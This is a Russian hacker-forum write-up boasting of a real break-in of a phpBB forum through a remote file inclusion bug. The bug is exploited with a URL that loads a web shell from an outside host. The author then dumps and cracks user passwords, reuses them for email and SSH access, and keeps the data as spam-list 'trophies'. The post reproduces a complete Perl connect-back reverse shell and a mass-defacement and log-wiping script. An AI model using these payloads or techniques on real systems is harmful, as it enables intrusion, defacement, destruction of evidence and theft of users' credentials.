Сразу хочу сказать, что целью статьи не было создание мануала по какому-либо методу взлома (это еще впереди ;-)). Каждый из нас когда-то понял или поймёт, что адресная строка - это не просто набор бессмысленных символов, а такая же важная, если даже не боллее часть web-интерфейса, посредством которой происходит контроль за выполнением отдельных скриптов, программ. И вот, однажды, ты начинаешь понимать, что с помощью этой строки можно вполне управлять жизнью отдельного интернет проекта. Но, как говорится "у семи нянек дитятко без глаза". Точно такие же ситуации очень часто можно встретить и внутри (точнее, чаще всего - снаружи, до внутренностей добираются далеко не все) какого-нибудь интернет ресурса, волею судеб попавшего под не совсем стандартный клик мышки. Как-то вечером, ползая от одной закладки к другой, я искал что-нибудь интересное и одновременно достаточно полезное. В это время ко мне в асю постучал мой новый знакомый с античата. Поболтав с ним немного, мы пришли к выводу о необходимости совместной работы на благо сетевой безопасности. Перврначальный объект - зарубежная хак-тима, желательно с форумом (в идеале-дырявым). Но, так как чудеса в нашей жизни случаются довольно редко, то мы не встретили никаких IPB 2.0.*, а нашли модифицированный phpBB, странный скрипт новостей и 2 SQL-инъекии, кот. не смогли реализовать в полной мере. Скрипт новостей был весьма странным и я незамедлительно зашел на официальный сайт разработчика и скачал архив с исходниками. В течение 2 долгих часов я пытался проявить чудеса изобретательности и обнаружить что-нибудь интересное. Но увы - интересное не обнаруживалось. Раздосадованный таким поворотом дел, я предложил другу заняться чем-нибудь более продуктивным, а конкретно, поиском маленьких хакерских ценностей, таких как аккаунты на ftp, мыльники, ssh-доступ и другие не менее интересные вещи, которые в дальнейшем можно было бы успешно реализовать. Не став особенно заморачиваться по поводу места будущей кормежки, мы порылись в запасе шеллов собственных, но остановились преимущественно на шеллах чужих. Первый шелл был болен локальным инклудом, safe_mode: по всей видимости chroot. Надыбав за несколько минут конфиг к базе данных форума, пару файлов .serwice.pwd мы осознали, что ловить нам там практически было нечего, и поспешили обследовать другой сайт. К сожалению, другой сайт не оказался более дружелюбным, и мы с товарищем решили на время заняться собственными делами. Не знаю, чем занялся он, но меня очень задело, что я столько врмени убил на поиск багов, а результаты все также не радовали. В это время в мою голову закралась мысль об использовании в своих целях багтрака. Скажу честно - я очень рекдо пользуюсь багтраками (хотя стабильно слежу!) для собственных взломов, если целью самого взлома не является конкретный проект. Так вот. Так как мне хотелось получить такие сайты, доступ к которым можно было бы потом сбагрить, я должен был заюзать только свежайшую багу, поэтому всякие securityfocus'ы и прочие lab'ы мне не совсем подходили. Но как же найти сплоит для баги, которой еще нет на общеизвестных багтрак - лентах? Ответ напрашивается сам собой - искать их на сайтах тех людей, которые пишут эксплоиты. Но так как память у меня хорошая только на пароли, а логины я запоминаю с трудом, мне все же пришлось зайти на milworm.com, где я открыл список web-application эксплоитов. В самой правой колонке можно было увидеть имя автора сплоита. Чаще всего на странице мне встретилось имя rgod. Соответственно, открыв первый попавшийся сплоит, в шапке я высмотрел линк на сайт автора и сразу же поспешил на него перейти. Сайт встретил меня кроваво-черной палитрой, а я решил его встретить взломом. Конечно, мысль была не из лучших - ломать через WEB сайт багоискателя в WEB-приложениях, но почему-то конкретно в тот момент я над этим не задумался. Само собой, сайт я не взломал (не помню - то ли там все в html было сделано, то ли на java написано - не суть), зато в самой верхней строке найденных уязвимостей увидел ссылку на какой-то mod для phpBB (многие считают, что mod для phpBB - это какая-то редкость для интернет проектов, а между тем - каждый пятый форум имеет специальный темплейт, скин или мод, поэтому вероятность встретить бажный сайт была близка к 100%). После того как я бегло просмотрел суть бага, котрый представлял из себя не что иное, как Remote file including, я поспешил к Google. Забив имя скрипта в поиске, я не увидел ни одной ссылки на security-сайты, что, само собой, весьма меня обрадовало. Далее я набил в гугле -inurl::"/script.php" и название срипта - Vita..(не помню точно) (мало ли - может его имя встретится где-нибудь внизу страницы). И не прогадал - почти все ссылки были очень похожи на Proof of Concept (PoF) на сайте rgod'а. Так как бага была свежайшей, я не стал переключать дальше второй страницы и открыв ссылку, приписал в самом конце после вопроса: phpbb_root_ path=http://rst.void.ru/downloads/r57shell.php Но ссылка выдала лишь пустую страницу. Что за херня? - подумал я, и, зная особенности подобных багов, а также фильтрации расширений в скриптах, добавил символ ? phpbb_root_ path=http://rst.void.ru/downloads/r57shell.php? Палитра резко изменила цвет на цвет шелла. "Отлично!" - подумал я, и принялся исследовать скрипты. Первой интересной находкой для меня стал файл config.php, который есть в любом phpBB форуме, независимо от наличия mod'ов. localhost, а также логин и пасс к базе данных MySQL я аккуратно выписал в блокнот. Это было моей первой находкой. Второй моей находкой стала нехилая база мыльников и пассов к форуму. Саму базу я просматривал все с того же шелла, вбив адрес, порт, логин и пасс для доступа к базе данных в соответствующие поля. Далее команды: SHOW DATABASES; USE phpbb; SELECT * FROM phpbb_users; На эту комманду браузер очень долго отвечал, поэтому я решил ограничить количество выводимых записей следующей командой: SELECT * FROM phpbb_users LIMIT 50, 1 ; Эта команда вывела мне 50 записей из таблицы phpbb_users начиная с первой Каждый третий пассворд для форума (расшифрованные при помощи проги MD5 Inside по словарю) подходил и к указанному мылу. А мыльца там были преимущественно раритетные - gmail, aol и т. п. В одном из мыл, помню как сейчас, мной был найден пароль к админке какого-то венгерского проекта... Сам дамп я сделал через все тот же шелл, благо, там была предусмотрена такая функция. Права моего пользователя (команда id, я надеюсь, Вам это ивестно) совпадали с правами владельца сайта и поэтому дамп я спокойно записал в корневую директорию форума, к остальным скриптам. Третьей моей находкой, которая по началу меня весьма удивила, стал непонятный файл с гордым именем 1.php посреди php скриптов. Так как я 100% знал, что такого файла там быть не должно, я поспешил выполнить команду cat 1.php После прочтения первой строки мне все стало ясно: #IRAN HACKERS SABOTAGE Connect Back Shell Вот уроды! - выругался я. Мало того, что все сайты дефейсят, стоит только свежей баге появиться на багтраке, так они успели и до этой баги добраться!!! Ну это беспредел просто. Конечно, после этой находки мои глаза стали следить за именами файлов и датами их изменений более тщательно. Если есть один файл, то будут и другие, ведь хакеры редко останавливаются на заливке шелла. Первым объектом для поиска стал одинаково любимый всеми, независимо от географического положения каталог /tmp. cd /tmp ls -ali Что бы Вы думали? Посреди временных файлов сессий валялся файл с датой последнего изменения, соответсвующей сегодняшнему числу. Более того, доблестные иранские хакеры даже не стали маскировать свои интсрументы и файл назвали bd.pl. cat bd.pl вернула мне следующее: Code: #!/usr/bin/perl use IO::Socket; #IRAN HACKERS SABOTAGE Connect Back Shell #code by:LorD #We Are :LorD-C0d3r-NT # #lord@SlackwareLinux:/home/programing$ perl dc.pl #--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==-- # #Usage: dc.pl [Host] [Port] # #Ex: dc.pl 127.0.0.1 2121 #lord@SlackwareLinux:/home/programing$ perl dc.pl 127.0.0.1 2121 #--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==-- # #[*] Resolving HostName #[*] Connecting... 127.0.0.1 #[*] Spawning Shell #[*] Connected to remote host #bash-2.05b# nc -vv -l -p 2121 #listening on [any] 2121 ... #connect to [127.0.0.1] from localhost [127.0.0.1] 2121 #--== ConnectBack Backdoor vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==-- # #--==Systeminfo==-- #Linux SlackwareLinux 2.6.7 #1 SMP Thu Dec 23 00:05:39 IRT 2004 i686 unknown unknown GNU/Linux # #--==Userinfo==-- #uid=1001(lord) gid=100(users) groups=100(users) # #--==Directory==-- #/root # #--==Shell==-- # $system = '/bin/sh'; $ARGC=@ARGV; print "--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==-- \n\n"; if ($ARGC!=2) { print "Usage: $0 [Host] [Port] \n\n"; die "Ex: $0 127.0.0.1 2121 \n"; } use Socket; use FileHandle; socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n"; connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n"; print "[*] Resolving HostName\n"; print "[*] Connecting... $ARGV[0] \n"; print "[*] Spawning Shell \n"; print "[*] Connected to remote host \n"; SOCKET->autoflush(); open(STDIN, ">&SOCKET"); open(STDOUT,">&SOCKET"); open(STDERR,">&SOCKET"); print "--== ConnectBack Backdoor vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==-- \n\n"; system("unset HISTFILE; unset SAVEHIST ;echo --==Systeminfo==-- ; uname -a;echo; echo --==Userinfo==-- ; id;echo;echo --==Directory==-- ; pwd;echo; echo --==Shell==-- "); system($system); #EOF Ну что ж, иранскими бекдорами я еще никогда не пользовался, поэтому я по-быстренькому скопипастил содержимое файла к себе в блокнот. Далее был придуман следующий план. 1) Проверяю все поддиректории форума на наличие заныканных арабами шеллов (особой внимание к папкам типа uploads и avatars). Все найденное переименовываю из 1.php во что-нибудь похожее на view_all.php. Ссылку на шелл сохраняю и юзаю в дальнейшем. Все свежие файлы бегло просматриваю с целью выяалени дописанных арабами строк; 2) Собственными силами закрываю багу, предварительно убив все странные процессы типа bd.pl, особое внимание к процессам с большими значенями pid; 3) Удаляю все следы пребывания и мой шелл. Итак, к командном варианте это выглядит так: pwd ls -al cat elf ===============> команда выводит непонятный набор символов не несущих логической нагрузки, судя по названия сплоит для elf_lbl Судя по времени закачан раньше бекдора. Где логика? Может иранский хакер был женщиной? Хотя вряд ли - у них там с эти сурово. uname -a ===============> Linux 2.6.9, что подтверждает мою догадку. rm elf Открываю ссылку с шеллом в новом окне. Далее: pwd mv 1.php view_all.php touch -t 200505121905 (дату ставлю аналогичную остальным файлам в этой папке. Формат - yyyymmddhhmm, по русски - гггг(год)мм(месяц)дд(день)ччмм) cat view_all.php =======> убедимся, что содержимое не изменилось. На всякий случай. cd uploads ls -lai cd ../.. ===========> в гланую папку Тут я обнаружил, что только на одном файле дата соответсвует сегодняшнему числу (точнее время присутствует) Я даже не стал делать cat index.php, а сразу набил в адресной строке название файла и передо мной предстал ярко красный экран с надписью Owned by mad Iranian hackerz. После этого я окончательно разочаровался в арабских коллегах. Зато мне стала ясна история взлома сайта хакерами после заливки щелла. Они залили ядерный эксплоит в папку /tmp. После этого дали chmod +x (разрешили выполнять). Потом при помощи бекдора попали в консоль. Потом закачаный сплоит не сработал, они, скорее всего, попробовали еще парочку, и поняв, что Аллах сегодня не в духе. Изменили индекс и свалили. Хотя я откуда знаю - свалили они или пошли сплоит искать? Проверим: ps aux В процессах висел и сплоит, и бэкдор. Паливо, не спорю. Я решил, что они еще в консоли и поэтому дальше действовал так: Выбираю опцию редактирование файла scipt.php Бажную переменную phpbb_root_path (кстати, эта переменная очень часто встречается в багах модов для phpBB, возьми на заметку ;-)) обнаруживаю во второй строке. Скрипт просто инклудит файл, не проверяя его существование и местоположение: require ($phpbb_root_path/include/lib.inc.$phpExt); Ну что ж - попробуем включить проверку. У меня два варианта защитных функций - isset() (в первой строчке include, но путь задан константой, поэтому такая фича может и прокатить), либо file_exist() Пробую вставить конструкцию if (isset ($phpbb_root_path)) перед бажной функцией require (). Жму на кнопку Сохранить. (замечу, эти действия я уже проделывал из файла view_all.php) Пробую запрос: http://site.com/forum/script.php?phpbb_root_ path=http://rst.void.ru/downloads/r57shell.php Пустая страница приветствует меня. ***** на моей стороне, и я, в роли админа, пока не упал лицом в грязь. Далее пытаюсь удивить иранских друзей не менее, чем они удивили меня, оставив свои скрипты и сплоиты в директориях сайта. ps ax kill -9 347 417 (это pid для процессов "иранский сплоед" и "арабский бекдоръ") (я привожу примеры комманд. На самом деле, это могла быть kill -TERM и т. д.) И тут же представляю себя в консоли. Я - злобный мусульманин, просматривающий содержимое директорий неплохого такого сервера, уставший после работы где-нибудь на нефтяной вышке слесарем. Сижу за компьютером, купленным на проданные подешевке AK-47, перепробовав все известные только ****** сплоиты, просматриваю доступный на чтение рутовый .bash_history коммандой less{/COLOR]. В самой нижней строке консоли вижу ssh [email protected] И тут.... окошко с ошибкой типа, Network error, или что-то типа того. Я не хочу представлять, чем это закончилось. Вернемся к моему браузеру. У нас есть - а) закрытая бага; б) шелл на форуме (кстати, многие подумают, что не стоило бы кидать шелл в корень форума, но команда last -10 явно сказала, что стоит); в) злые иранские хакеры; Ах, да! Забыл самое главное - у нас же дефейс висит, но т. к. у них сейчас ночь, а форум деловой, а не для отдыха, можно надеяться, что дефейс спалило не так много людей. Конечно, можно было бы выяснить это точно, просмотрев логи обращения к индексу, но я пошел на авось. Мне очень повезло. Рядом с файлом index.php я нашел файл index_1.php Странно, что он остался цел. Но это только радует, и я быстро делаю следующее: rm index.php mv index_1.php index.php touch -t 200505182016 index.php Захожу на индекс и проверяю, что все нормально. Индекс пестрый, что-то про ноутбуки. Вспоминаю, что в одной из директорий висит дамп базы под именем 1.sql (кстати, как раз в upload). cd /upload rm 1.sql Вот теперь - все. Сайт защитил, от админа сныкал, опыта набрался, трофеи тоже радуют, отстоял честь русских хакеров. Цель достигнута и Морфей зовет на боковую. Я спать. P. S. Трофеями выступили: 1) Аккаунт администратора; Логин на форуме был ввиде фамилии, но потом, уже внутри консоли , я попробовал ssh [email protected] ввел пасс админа форума и оказался на соседнем сервере. 2) Дамп базы данных далеко не самого забитого форума; 3) Спам база, выцеженая из дампа; 4) Аккаунт админа на каком-то венгерском проекте (p.s. на нем меня спалили и доступ я к нему потерял); 5) Иранский бекдор и шелл (скажу честно - шелл фуфло по сравнению с нашими - строк 20 кода); 6) Опыт администрирования и анализа содержимого скриптов; 7) Приятный вечер и хорошее настроние. Выводы каждый сделает сам, единственный совет - какой бы свежести не была бага и какой бы ни был сайт всегда смотрите процесы и ищите левые файлы. Как говорится, кто ищет - тот всегда найдёт. =) Удачи! С уважением, 1ten0.0net1.
Вот еще одна вещь, найденая мной во время этого же взлома - я не стал про нее в статье писать, но сейчас решил выложить. Внимание!!!! Использование подобных скриптов не приветствуется ни в коей мере правилами античата и поэтому, мой совет подправить код, оставив только лог-клинер. Code: ######################################################################################################### # MSRml V 0.1 # # # # MOROCCO.SECURITY.RULZ mass defacer and log eraser # # # # coded by PRI[ll # # # # !!!!PRIV8!!!!!PRIV8!!!!!PRIV8!!!!!PRIV8!!!! # # # # # # # # usage : perl MSRml.pl <path to index> # # # # example : perl MSRml.pl /tmp/index.html # # # # # ######################################################################################################### #!/usr/bin/perl use strict; my $index = $ARGV[0]; if ($ARGV[0]) { if( -e $index ) { system "echo -e \"\033[01;34mStarted MSRml V0.1 by PRI[ll Ok !!\033[01;37m\"\n"; system "echo -e \"\\033[01;37mDefacing all homepages ...\"\n"; system "find / -name \"index*\" -exec cp $index {} \\;"; system "find / -name \"main*\" -exec cp $index {} \\;"; system "find / -name \"home*\" -exec cp $index {} \\;"; system "find / -name \"default*\" -exec cp $index {} \\;"; system "echo -e \"\\033[01;37m[+] done ! all sites in this box should be defaced !\"\n"; system "echo -e \"\\033[01;37m----------------------------------------------------------\"\n"; system "echo -e \"\\033[01;37mCleaning up logs ...\"\n"; system "echo -e \"\033[01;34m---------erasing default log files (too fast =))---------\033[01;37m\"\n"; if( -e "/var/log/lastlog" ) { system 'rm -rf /var/log/lastlog'; system "echo -e \"\\033[01;37m [*]/var/log/lastlog -erased Ok\"\n"; } else { system "echo -e \"\\033[01;31m[*]/var/log/lastlog - No such file or directory\\033[01;37m\"\n"; } if( -e "/var/log/wtmp" ) { system 'rm -rf /var/log/wtmp'; system "echo -e \"\\033[01;37m [*]/var/log/wtmp -erased Ok\"\n"; } else { system "echo -e \"\\033[01;31m[*]/var/log/wtmp - No such file or directory\\033[01;37m\"\n"; } if( -e "/etc/wtmp" ) { system 'rm -rf /etc/wtmp'; system "echo -e \"\\033[01;37m [*]/etc/wtmp -erased Ok\"\n"; } else { system "echo -e \"\\033[01;31m[*]/etc/wtmp - No such file or directory\\033[01;37m\"\n"; } if( -e "/var/run/utmp" ) { system 'rm -rf /var/run/utmp'; system "echo -e \"\\033[01;37m [*]/var/run/utmp -erased Ok\"\n"; } else { system "echo -e \"\\033[01;31m[*]/var/run/utmp - No such file or directory\\033[01;37m\"\n"; } if( -e "/etc/utmp" ) { system 'rm -rf /etc/utmp'; system "echo -e \"\\033[01;37m [*]/etc/utmp -erased Ok\"\n"; } else { system "echo -e \"\\033[01;31m[*]/etc/utmp - No such file or directory\\033[01;37m\"\n"; } if( -e "/var/log" ) { system 'rm -rf /var/log'; system "echo -e \"\\033[01;37m [*]/var/log -erased Ok\"\n"; } else { system "echo -e \"\\033[01;31m[*]/var/log - No such file or directory\\033[01;37m\"\n"; } if( -e "/var/logs" ) { system 'rm -rf /var/logs'; system "echo -e \"\\033[01;37m [*]/var/logs -erased Ok\"\n"; } else { system "echo -e \"\\033[01;31m[*]/var/logs - No such file or directory\\033[01;37m\"\n"; } if( -e "/var/adm" ) { system 'rm -rf /var/adm'; system "echo -e \"\\033[01;37m [*]/var/adm -erased Ok\"\n"; } else { system "echo -e \"\\033[01;31m[*]/var/adm - No such file or directory\\033[01;37m\"\n"; } if( -e "/var/apache/log" ) { system 'rm -rf /var/apache/log'; system "echo -e \"\\033[01;37m [*]/var/apache/log -erased Ok\"\n"; } else { system "echo -e \"\\033[01;31m[*]/var/apache/log - No such file or directory\\033[01;37m\"\n"; } if( -e "/var/apache/logs" ) { system 'rm -rf /var/apache/logs'; system "echo -e \"\\033[01;37m [*]/var/apache/logs -erased Ok\"\n"; } else { system "echo -e \"\\033[01;31m[*]/var/apache/logs - No such file or directory\\033[01;37m\"\n"; } if( -e "/usr/local/apache/log" ) { system 'rm -rf /usr/local/apache/log'; system "echo -e \"\\033[01;37m [*]/usr/local/apache/log -erased Ok\"\n"; } else { system "echo -e \"\\033[01;31m[*]/usr/local/apache/log - No such file or directory\\033[01;37m\"\n"; } if( -e "/usr/local/apache/logs" ) { system 'rm -rf /usr/local/apache/logs'; system "echo -e \"\\033[01;37m [*]/usr/local/apache/logs -erased Ok\"\n"; } else { system "echo -e \"\\033[01;31m[*]/usr/local/apache/logs - No such file or directory\\033[01;37m\"\n"; } if( -e "/root/.bash_history" ) { system 'rm -rf /root/.bash_history'; system "echo -e \"\\033[01;37m [*]/root/.bash_history -erased Ok\"\n"; } else { system "echo -e \"\\033[01;31m[*]/root/.bash_history - No such file or directory\\033[01;37m\"\n"; } if( -e "/root/.ksh_history" ) { system 'rm -rf /root/.ksh_history'; system "echo -e \"\\033[01;37m [*]/root/.ksh_history -erased Ok\"\n"; } else { system "echo -e \"\\033[01;31m[*]/root/.ksh_history - No such file or directory\\033[01;37m\"\n"; } system "echo -e \"\\033[01;37m[+] -----done all default log and bash_history files erased !!\"\n"; system "echo -e \"\033[01;34m---------Now Erasing the rest of the machine log files (can be long :S)---------\033[01;37m\"\n"; system 'find / -name *.bash_history -exec rm -rf {} \;'; system "echo -e \"\\033[01;37m[*] all *.bash_history files -erased Ok!\"\n"; system 'find / -name *.bash_logout -exec rm -rf {} \;'; system "echo -e \"\\033[01;37m[*] all *.bash_logout files -erased Ok!\"\n"; system 'find / -name "log*" -exec rm -rf {} \;'; system "echo -e \"\\033[01;37m[*] all log* files -erased Ok!\"\n"; system 'find / -name *.log -exec rm -rf {} \;'; system "echo -e \"\\033[01;37m[*] all *.log files -erased Ok!\"\n"; system "echo -e \"\033[01;34m-------[+] !done all log files erased![+]-------\033[01;37m\"\n"; system "echo -e \"\033[01;34m---------------------------------------------------\033[01;37m\"\n"; system "echo -e \"\033[01;34m-----------------MSRml V 0.1----------------------\033[01;37m\"\n"; } else { system "echo -e \"\\033[01;31m[-] Failed ! the path to u're index could not be found !\\033[01;37m\"\n"; exit; } } else { system "echo -e \"\\033[01;37m!!Morocco.Security.Rulz mass defacer and log eraser !!\"\n"; system "echo -e \"\\033[01;37m!!!!!!!!!!!!!!!!!!coded by PRI[ll!!!!!!!!!!!!!!!!!!!!!!!!\"\n"; system "echo -e \"\\033[01;31m!!!!!!!!PRIV8!!!!!!!!PRIV8!!!!!!!!PRIV8!!!!!!!!PRIV8!!!!!!!!\\033[01;37m\"\n"; system "echo -e \"\\033[01;37musage : perl $0 <path too u're index>\"\n"; system "echo -e \"\\033[01;37mexample : perl $0 /tmp/index.html\"\n"; exit; } Удачи в начинаниях ;-)